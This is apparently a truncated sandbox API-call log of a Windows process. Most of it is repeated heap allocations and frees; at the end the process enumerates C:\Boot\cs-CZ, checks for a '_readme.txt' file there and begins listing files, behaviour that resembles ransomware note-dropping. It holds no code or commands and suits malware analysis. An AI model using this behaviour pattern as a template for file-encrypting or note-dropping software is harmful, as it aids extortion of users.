RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.738] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.738] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.738] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.738] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.738] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.738] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.738] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.739] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.739] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.739] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.739] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.739] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.739] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.739] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.739] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.739] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.739] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.739] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.739] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.739] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.739] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.739] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.739] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.739] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.739] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.739] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.739] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.739] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.739] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.739] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.739] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.739] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.739] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.739] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.739] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.739] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.739] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.739] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.739] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.739] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.739] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.740] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.740] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.740] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.740] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.740] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.740] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.740] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.740] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.740] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.740] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.740] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.740] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.740] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.740] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.740] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.740] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.740] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.740] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.740] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.740] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.740] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.740] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.740] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.740] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.740] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.740] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.740] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.740] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.740] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.740] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.740] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.740] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.740] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.741] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.741] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.741] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.741] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.741] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.741] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.741] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.741] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.741] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.741] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.741] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.741] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.741] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.741] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.741] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.741] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.741] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.741] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.741] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.741] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.741] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.741] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.741] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.741] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.741] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.741] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.741] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.741] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.741] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.741] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.741] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.741] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.741] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.741] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.744] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.744] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.745] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.745] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.745] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.745] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.745] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.745] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.745] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.745] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.745] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.745] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.745] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.745] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.745] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.745] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.745] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.745] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.745] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0066.745] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.745] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.745] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.745] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.745] PathFindFileNameW (pszPath="") returned="" [0066.745] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.745] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.746] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.746] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.746] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.746] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x3247f78 [0066.746] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.746] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.746] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0066.746] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.746] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0066.746] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb3167ab0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb3167ab0, ftLastWriteTime.dwHighDateTime=0x1d54670, 